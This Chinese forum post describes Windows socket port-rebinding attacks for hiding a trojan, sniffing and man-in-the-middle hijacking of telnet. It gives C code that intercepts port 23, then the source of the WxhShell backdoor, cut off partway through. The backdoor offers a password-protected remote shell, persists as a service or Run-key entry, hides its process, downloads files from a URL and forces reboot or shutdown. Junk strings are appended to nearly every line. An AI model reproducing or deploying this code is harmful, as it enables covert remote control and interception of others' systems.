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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JdUz!=I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gUH'DS]{  
RnA&-\|*  
  saddr.sin_family = AF_INET; SeNF!k% Y  
.W@4vrp@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ' MS!ss=r  
mB^I @oZ*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %V<F<  
WW [`E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @>#{WI:"~  
e8ULf~I  
  这意味着什么?意味着可以进行如下的攻击: L>~@9a\jO  
4&oXy,8LC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n:*_uc^C  
vJj:9KcP>h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4)odFq:  
*pb:9JKi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N5f0| U&  
or%gTVZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >1a \ %G  
f05"3L:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 przubMt  
%EVV-n@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I`"-$99|t1  
(Q@+v<   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3KZ y H  
<=m 30{;f  
  #include >FY&-4+v  
  #include Z(LxB$^l[  
  #include 8yE%X!E  
  #include    h8#5vO2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dE5 5  
  int main() yxG:\y b  
  { lRv#1'Y  
  WORD wVersionRequested; esh$*)1  
  DWORD ret; u 5Eo  
  WSADATA wsaData; ^x_ >r6  
  BOOL val; ;zZ,3pl-E  
  SOCKADDR_IN saddr; ovQS ET18b  
  SOCKADDR_IN scaddr; z)&naw.  
  int err; 4/HY[FT  
  SOCKET s; !c4)pMd  
  SOCKET sc; sP6 ):h  
  int caddsize; ![a/kj  
  HANDLE mt; Wkg*J3O  
  DWORD tid;   462!;/ y  
  wVersionRequested = MAKEWORD( 2, 2 ); 192.W+H<  
  err = WSAStartup( wVersionRequested, &wsaData ); 7wiK.99  
  if ( err != 0 ) { =`]|/<=9'U  
  printf("error!WSAStartup failed!\n"); RRS~ xOg  
  return -1; Mt[Bq6}ZD  
  } P1 7>6)a  
  saddr.sin_family = AF_INET; ;Na8 _}  
   ` $.X[\*U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `z3|M#r\;  
a9D gy_!Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -SQJH}zCT+  
  saddr.sin_port = htons(23); /FP~jV!z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tp1KP/2w[  
  { (XbMrPKG  
  printf("error!socket failed!\n"); FylWbQU9  
  return -1; hF7V !*5  
  } C3 gZ6m  
  val = TRUE; B@cJ\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M>?aa6@0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7y>Tn`V8G  
  { I"8d5a}  
  printf("error!setsockopt failed!\n"); 6P%<[Z  
  return -1; j<l#qho{h  
  } k Zk .]b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :SQDqG   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -O~C m}e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A$9q!Ui#d  
DC$7B`#D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <S\;k@f  
  { wUru1_zjO  
  ret=GetLastError(); JdaFY+f :  
  printf("error!bind failed!\n"); Yw~;g: =  
  return -1; 6?%]odI#  
  } ov\Ct%]  
  listen(s,2); o5N]((9  
  while(1) tr}KPdE  
  { K[Y c<Q  
  caddsize = sizeof(scaddr); QO5OnYh  
  //接受连接请求 ; @ 7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ELN|;^-/|Q  
  if(sc!=INVALID_SOCKET) ^H5w41  
  { }': EJ~H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /{fZH,!L  
  if(mt==NULL) F3r S6_  
  { W$z#ssr  
  printf("Thread Creat Failed!\n"); ?@Z7O.u  
  break; <KHv|)ak  
  } Q?* nuE  
  } H{j~ihq7  
  CloseHandle(mt); (g%JK3  
  } 5*JV )[  
  closesocket(s); X!U]`Qh  
  WSACleanup(); 6PiEa(  
  return 0; McT\ R{/  
  }   ky'|Wk6   
  DWORD WINAPI ClientThread(LPVOID lpParam) }7iUagN  
  { 3xBN10R#  
  SOCKET ss = (SOCKET)lpParam; ..??O^   
  SOCKET sc; 4|zd84g  
  unsigned char buf[4096]; b%3Q$wIJ6  
  SOCKADDR_IN saddr; W:`5nj]H9  
  long num; 6b%`^B\  
  DWORD val; e.h~[^zg  
  DWORD ret; a4yOe*Ak,F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tW:W&|q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @kwLBAK}@  
  saddr.sin_family = AF_INET; SW3wMPy&s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i Bi7|  
  saddr.sin_port = htons(23); {udrT"h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ezi' 2Sc  
  { "I5uDFZR&  
  printf("error!socket failed!\n"); (YAI,Xnw  
  return -1; jZa25Z00  
  } G{ F6  
  val = 100; !c\7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GMEw  
  { `ifb<T  
  ret = GetLastError(); :_MP'0QP  
  return -1; K{|w 43>D  
  } $TR=3[j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :L]-'\y  
  { / pO{2[  
  ret = GetLastError(); :0B |<~lX  
  return -1; |$M@09,F"  
  } !-KCFMvT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j?=VtVP  
  { ah 4kA LO  
  printf("error!socket connect failed!\n"); HpW" lYW4  
  closesocket(sc); qO7fbql_  
  closesocket(ss); {V.Wk  
  return -1; Z/xV\Ggx  
  } MO[c0n%  
  while(1) /^d. &@*  
  { AeN 3<|RN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W5pn;u- sz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *:?QB8YJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *f{7  
  num = recv(ss,buf,4096,0); g+igxC}2z  
  if(num>0) /d[Mss  
  send(sc,buf,num,0); 7`Qde!+C  
  else if(num==0) >+L7k^[,0  
  break; |Es0[cU  
  num = recv(sc,buf,4096,0); U> W|(Y  
  if(num>0) m[8IEKo  
  send(ss,buf,num,0); =ntft SH  
  else if(num==0) j(&GVy^;?  
  break; HB%K|&!+  
  } QQ*gFP.Ao  
  closesocket(ss); 6j_ 678  
  closesocket(sc); ol50d73B  
  return 0 ; : -E,   
  } B@d1xjp)']  
SK?I.  
VXiui'/(  
========================================================== WmNA5;<Q  
PVhik@Yoh  
下边附上一个代码,,WXhSHELL @]*[c})/  
`4_c0 q)N4  
========================================================== B\f"Iirw  
g- XKP  
#include "stdafx.h" N5yJ'i~,M  
>A<Df  
#include <stdio.h> *E.LP1xP  
#include <string.h>  +.=1^+a  
#include <windows.h> ;;M"hI3@  
#include <winsock2.h> ]7*kWc2  
#include <winsvc.h> ;r3}g"D@  
#include <urlmon.h> tp@*=*^I  
~H7!MC~K  
#pragma comment (lib, "Ws2_32.lib") H*GlWgfG  
#pragma comment (lib, "urlmon.lib") w:v=se"U  
f#1/}Hq/I  
#define MAX_USER   100 // 最大客户端连接数 {y1q7Z.M  
#define BUF_SOCK   200 // sock buffer oI*d/*  
#define KEY_BUFF   255 // 输入 buffer DjY8nePyE  
3\1#eK'TK.  
#define REBOOT     0   // 重启 h 5Hr[E1  
#define SHUTDOWN   1   // 关机 Sg_O?.r  
7"#f!.E  
#define DEF_PORT   5000 // 监听端口 lVP |W:~K  
|88CBiu}  
#define REG_LEN     16   // 注册表键长度 uj)yk*  
#define SVC_LEN     80   // NT服务名长度 ubi~%  
5 5^tfu   
// 从dll定义API w;~>k%}j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r|<6Aae&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r5[4h'f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v G2.]?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nfg{,/ O  
.8K6C]gw  
// wxhshell配置信息 =x1Wii$`  
struct WSCFG { #,TELzUVE  
  int ws_port;         // 监听端口 76_<xUt{  
  char ws_passstr[REG_LEN]; // 口令 N\'TR6_,b  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yc|uD-y  
  char ws_regname[REG_LEN]; // 注册表键名 X{`1:c'x  
  char ws_svcname[REG_LEN]; // 服务名 Oo1ecbY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (#If1[L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~}K{e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5?w.rcN[j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RtwUb(wn6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |U EC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "-P/jk  
<1K7@Tu  
}; 3-iD.IAUm@  
IytDvz*|  
// default Wxhshell configuration XC2FF&B&  
struct WSCFG wscfg={DEF_PORT, ,m:L2 -J@  
    "xuhuanlingzhe", (vnoP< 0  
    1, Cs#w72N  
    "Wxhshell", JYQ.EAsr!  
    "Wxhshell", "H$@b`)  
            "WxhShell Service", \ADLMj`F|  
    "Wrsky Windows CmdShell Service", L:pUvcAc?  
    "Please Input Your Password: ", Ik Qe~;Y  
  1, _$5@uL{n"^  
  "http://www.wrsky.com/wxhshell.exe", `w+1C&>^[  
  "Wxhshell.exe" J0sGvj{  
    }; >L=;"+B0U&  
modC6d%  
// 消息定义模块 "W5rx8a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T<6GcI>A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l#$TYJi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NV6G.x  
char *msg_ws_ext="\n\rExit."; _4v"")Xe  
char *msg_ws_end="\n\rQuit."; gHZqA_*T8U  
char *msg_ws_boot="\n\rReboot..."; O:IQ!mzV5  
char *msg_ws_poff="\n\rShutdown..."; o<rsAe  
char *msg_ws_down="\n\rSave to "; nE$ f  
j;+["mi  
char *msg_ws_err="\n\rErr!"; ?!y"OrHg  
char *msg_ws_ok="\n\rOK!"; j`9Qzi1  
</=3g>9Z  
char ExeFile[MAX_PATH]; 5{X*a  
int nUser = 0; IJ_ m  
HANDLE handles[MAX_USER]; A? r^V2+j  
int OsIsNt; X$^JAZ09  
VX!hv`E  
SERVICE_STATUS       serviceStatus; :BD>yOlG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s4bv;W  
5z Kqb  
// 函数声明 [,b)YjO~Xd  
int Install(void); QZ~0o7  
int Uninstall(void); ;{gT=,KQ`  
int DownloadFile(char *sURL, SOCKET wsh); O1'K>teF%  
int Boot(int flag); +`Pmq} ey  
void HideProc(void); W-m"@<Z  
int GetOsVer(void); E30Z`$cz:  
int Wxhshell(SOCKET wsl); MMd.0JuaO  
void TalkWithClient(void *cs); `XgFga)  
int CmdShell(SOCKET sock); B`1kGEx .  
int StartFromService(void); En\Z#0,V  
int StartWxhshell(LPSTR lpCmdLine); 8k H<$9  
({ k7#1 h8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jkt 6/H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (A4&k{C_  
P,ydt  
// 数据结构和表定义 ^V .'^=l  
SERVICE_TABLE_ENTRY DispatchTable[] = )i-gs4[(QN  
{ Mq'IkSt'  
{wscfg.ws_svcname, NTServiceMain}, G "brT5:  
{NULL, NULL} >f@ G>H)+  
}; 9yL6W'B!  
`ET& VV  
// 自我安装 q:]Q% IC^  
int Install(void) OaaH$B  
{ qrE0H  
  char svExeFile[MAX_PATH]; !i Jipe5  
  HKEY key; :c:V%0Yji  
  strcpy(svExeFile,ExeFile); .&|L|q}  
(NaK3_  
// 如果是win9x系统,修改注册表设为自启动 "V}qf3 qU  
if(!OsIsNt) { J@Yj\9U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v2>Z^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #&BS ?@  
  RegCloseKey(key); s[X B#)H4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x.UaQ |F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #xp(B5  
  RegCloseKey(key); m9t$h  
  return 0; g "*;nHI D  
    } `0@z"D5c  
  } YPEnNt+  
} Y.-S=Y   
else { T5e^J"   
q.T:0|  
// 如果是NT以上系统,安装为系统服务 H,K`6HH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JC2*$qu J  
if (schSCManager!=0) B;W(iI  
{ X8R1a?  
  SC_HANDLE schService = CreateService L!y"d!6C  
  ( GTAf   
  schSCManager, C:j]43`  
  wscfg.ws_svcname, Yt{&rPv,  
  wscfg.ws_svcdisp, B}\BeFt'  
  SERVICE_ALL_ACCESS, -N# #w=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ct!S Tk[2  
  SERVICE_AUTO_START, >lLo4M 3  
  SERVICE_ERROR_NORMAL, vD26;S.y[a  
  svExeFile, X"<|Z]w  
  NULL, l1r_b68  
  NULL, 9/3;{`+[a  
  NULL, Mudrg[@ `  
  NULL, JA6";fl;  
  NULL -;Uj|^  
  ); eaAPKx  
  if (schService!=0) h<NRE0-  
  { 8 Z8Y[p  
  CloseServiceHandle(schService); ,LUTHWEo"I  
  CloseServiceHandle(schSCManager); k|B2@{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gtYRV*^q  
  strcat(svExeFile,wscfg.ws_svcname); "8/dD]=f^a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !y*oF{RZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U^?= 0+  
  RegCloseKey(key); .NnGVxc5*  
  return 0; 1;&T^Gdj  
    } KB[QZ`"%!  
  } e U;jP]FA  
  CloseServiceHandle(schSCManager); vgThK9{m;  
} 8Q(8b@ZO,  
} hSMV&Cs  
{Hk/1KG>  
return 1; %VJW@S>j/  
} c;!9\1sr  
3.),bm  
// 自我卸载 4f {+pf^R  
int Uninstall(void) mx}E$b$<CY  
{ 6Xa.0(h  
  HKEY key;  SFpQ#  
~:Mm<*lL%  
if(!OsIsNt) { KlO(o#&N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e{!vNJ0`  
  RegDeleteValue(key,wscfg.ws_regname); VMHC/jlX@r  
  RegCloseKey(key); ;J=:IEk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R|Y~u*D  
  RegDeleteValue(key,wscfg.ws_regname); U ~1 SF  
  RegCloseKey(key); 8&.-]{Z  
  return 0; JXm?2 /  
  } 1VLLo~L%  
} Z %EQt  
} &HL{LnLP@/  
else { oD0EOT/E  
>FF1)~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L_?$ayZ;  
if (schSCManager!=0) jVYH;B%%z  
{ w+_Wc~f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g^j7@dum  
  if (schService!=0) Funj!x'uE  
  { a D|Yo  
  if(DeleteService(schService)!=0) { HcO5?{2  
  CloseServiceHandle(schService); 7cw]v"iv  
  CloseServiceHandle(schSCManager); eqhAus?)  
  return 0; o](.368+4  
  } ps+:</;Z  
  CloseServiceHandle(schService); )4uq iA6  
  } y<M]dd$  
  CloseServiceHandle(schSCManager); :hP58 }Q$  
} q%S8\bt  
} !<r8~A3!(  
[H^ X"D  
return 1; _}ele+  
} {D,RU8&  
V(..8}LlD  
// 从指定url下载文件 E}$V2ha0zu  
int DownloadFile(char *sURL, SOCKET wsh) Z,aGtJ.a'9  
{ %U?)?iZdL  
  HRESULT hr; 7\%$>< K  
char seps[]= "/"; |-61(X.  
char *token; %nQmFIt  
char *file; %3G;r\|r]  
char myURL[MAX_PATH]; 38wq (  
char myFILE[MAX_PATH]; sX'nn   
*#h;c1aP  
strcpy(myURL,sURL); 3 Gd|YRtk  
  token=strtok(myURL,seps); Q52 bh'cuU  
  while(token!=NULL) kzi|$Gs<  
  { zlkWU  
    file=token; -*3(a E  
  token=strtok(NULL,seps); \EI#az=I  
  } "L@g3g?|`  
=4>@8=JA  
GetCurrentDirectory(MAX_PATH,myFILE); OX3Xy7  
strcat(myFILE, "\\"); qZbHMTnT6  
strcat(myFILE, file); e5OVq ,  
  send(wsh,myFILE,strlen(myFILE),0); *"T+G*~  
send(wsh,"...",3,0); {US>)I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !*bdG(pK  
  if(hr==S_OK) j_c+.iET  
return 0; OjATSmZ@@  
else PL@7 KD Q  
return 1; UABbcNW  
#(dhBEXPW;  
} Tf[dZ(+\  
o9+Q{|r  
// 系统电源模块 WZK :.y  
int Boot(int flag) }`]]b+_b>@  
{ OG}KqG!n  
  HANDLE hToken; mz-N{>k  
  TOKEN_PRIVILEGES tkp; "tX7%(  
^ZVO ql&  
  if(OsIsNt) { 6t$N78U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uO"8aD`W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e~ BJvZ}Q  
    tkp.PrivilegeCount = 1;  mn`5pha  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y5%5O xB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G?ZC 9w]rA  
if(flag==REBOOT) { mATH*[Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5rN7':(H!%  
  return 0; Gh+f1)\FA"  
} r?$ &Z^  
else { acae=c|X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }.t^D|  
  return 0; JWWInuH  
} {*fUJmao"  
  } 5M.Red.L  
  else { DaDUK?  
if(flag==REBOOT) { UM\}aq=,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #JFYws  
  return 0; Gh iHA9.  
} )Y[/!  
else { 0%H24N 9.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }VZM,.w  
  return 0; 8<c' x]~  
} +C5#$5];  
} XHNkQe  
X+*<B(E  
return 1; Gw`/.0  
} Gym#b{#":  
ZQ|gt*  
// win9x进程隐藏模块 `#p< rfe  
void HideProc(void) z L8J`W  
{ X2{`l8%Ek  
QA,*:qx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q;No"_aAd  
  if ( hKernel != NULL ) Hh\ 4MNl  
  { PJ;.31u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6kR -rA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B'#4;R!8P=  
    FreeLibrary(hKernel); iLQSa7  
  } ->3uOF!q  
F {/>u(@3  
return; +K&?)?/=  
} *?p ^6vO  
[9J:bD  
// 获取操作系统版本 r;'i<t{P  
int GetOsVer(void) 6"%@ L{UQ  
{ Wt"ww~h`(  
  OSVERSIONINFO winfo; z6 a,0&;-L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q!`)e@r  
  GetVersionEx(&winfo); iel-<(~   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nfa_8  
  return 1; 8XlU%a6x  
  else ?N`qLGRm  
  return 0; cB<O.@  
} |zh +  
|+u+)C  
// 客户端句柄模块 "&Gw1.p  
int Wxhshell(SOCKET wsl) A`IHP{aB  
{ R~$hWu}}  
  SOCKET wsh; &M$Bt} <  
  struct sockaddr_in client; F:S"gRKz  
  DWORD myID; ^?nP$+gq  
!*5_pGe  
  while(nUser<MAX_USER) !"`Jqs  
{ PY2[ S[  
  int nSize=sizeof(client); dK`(BA{`3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n 3h^VQ*]G  
  if(wsh==INVALID_SOCKET) return 1; 9lKRL'QR  
}|SIHz!R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6-tiRk~  
if(handles[nUser]==0) X8i[fk1.R  
  closesocket(wsh); C/bxfp{?  
else B#QL M^  
  nUser++; b]"2 VN  
  } k?< i*;7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ma1 (EJ/  
#s*k| j}  
  return 0; }iMXXXBOT  
} K[e`t%2_  
xUIvLH=  
// 关闭 socket `t%|.=R  
void CloseIt(SOCKET wsh) e~3]/BL  
{ iQu^|,tHEM  
closesocket(wsh); +)?,{eE|  
nUser--; gji*Wq  
ExitThread(0); lx`q *&E  
} c5<kbe  
' 4,y  
// 客户端请求句柄 hN[X 1*  
void TalkWithClient(void *cs) d3og?{i<}&  
{ (v]P<3%  
U&`6&$]  
  SOCKET wsh=(SOCKET)cs; 5[nmP95YK  
  char pwd[SVC_LEN]; kp'b>&9r  
  char cmd[KEY_BUFF]; J9NsHr:A[  
char chr[1]; ";756'>  
int i,j; JR] )xPI`  
Kq$:\B)<c  
  while (nUser < MAX_USER) { jiqi!*  
WUzS lZq  
if(wscfg.ws_passstr) { Rq"VB.ef&{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dJloH)uJZ>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 4P.p6  
  //ZeroMemory(pwd,KEY_BUFF);  c^rC8E  
      i=0; ={\![{L  
  while(i<SVC_LEN) { DE5d]3B  
z'?SRK5+  
  // 设置超时 6BUBk>A`  
  fd_set FdRead; 92s4u3 L;  
  struct timeval TimeOut; *@CVYJ'<  
  FD_ZERO(&FdRead); 1]"D%U=  
  FD_SET(wsh,&FdRead); H3!,d`D.N  
  TimeOut.tv_sec=8; pi|\0lH6W  
  TimeOut.tv_usec=0; _c[|@D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NAJ '><2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < }<#W/  
TihnSb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lQ+Ru8I  
  pwd=chr[0]; eH ;Wfs2f  
  if(chr[0]==0xd || chr[0]==0xa) { ^cB49s+{e  
  pwd=0; Y,3z-Pa=@  
  break; cR,'o'V/  
  } Lc58lV=  
  i++; F(J\ctha  
    } :uOZjEZi  
J>><o:~@  
  // 如果是非法用户,关闭 socket yb[{aL^4%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 976E3u"Vt  
} d&/^34gn  
gmXy>{T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -L+\y\F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E~'q?LJOB  
P h9Hg'  
while(1) { U* -% M  
V*~1,6N [  
  ZeroMemory(cmd,KEY_BUFF); <]Ij(+J;  
Mi;}.K0J  
      // 自动支持客户端 telnet标准   =6.8bZT\  
  j=0; qlz( W  
  while(j<KEY_BUFF) { <FCj)CP%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); suA+8}o]  
  cmd[j]=chr[0]; :({-0&&_  
  if(chr[0]==0xa || chr[0]==0xd) { "9c.CI  
  cmd[j]=0; D2Vb{%(4.  
  break;  Ask' !  
  } |z.Gh1GCy  
  j++; $ \? N<W  
    } x, G6\QmA  
mgmWDtxN  
  // 下载文件 ST[2]   
  if(strstr(cmd,"http://")) { 9zXu6<|qrL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^</65+OT+  
  if(DownloadFile(cmd,wsh)) &{X{36  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=6MFPbg  
  else SZCF3m&pz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | \ s2  
  } &p/S>qKu#  
  else { \hjk$Gq  
s-QM 6*  
    switch(cmd[0]) { nAQyxP%  
  #Tr;JAzVjG  
  // 帮助 A8=e?%  
  case '?': { [5>S-Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \[Sm2/9v  
    break; s`$NW^']  
  } =gxgS<bde  
  // 安装 4^ d+l.F  
  case 'i': { <_##YSGh,  
    if(Install()) }"F ?H:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4yA9Ni  
    else ?b!CV   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hgTM5*fD}  
    break; -@EBbM&  
    } zvek2\*rO  
  // 卸载 Q'n(^tbL  
  case 'r': { 4+ASw N9  
    if(Uninstall()) 4e=/f,o1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Y+r<;  
    else Ss"|1]acP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8>C; >v  
    break; :BewH?Ku  
    } AzLbD2Pl  
  // 显示 wxhshell 所在路径 N?MJ#lC F  
  case 'p': { tIn7(C  
    char svExeFile[MAX_PATH]; [;>zqNy  
    strcpy(svExeFile,"\n\r"); -/ (DP x  
      strcat(svExeFile,ExeFile); !Iw{Y'  
        send(wsh,svExeFile,strlen(svExeFile),0); {] t\`fjrg  
    break; LK'S)Jk  
    } fhBO~o+K>  
  // 重启 viW~'}^k7  
  case 'b': { "D ts*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wrf^O2  
    if(Boot(REBOOT)) tnQR<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM6CG0  
    else { (PCimT=5  
    closesocket(wsh); |<|28~#  
    ExitThread(0); n/9 LRZD|w  
    } ^l]]qdNr  
    break; =:xV(GK}  
    } 'Z*\1Ci  
  // 关机 u)q2YLK8  
  case 'd': { e3yorQ][  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #~bU}[{  
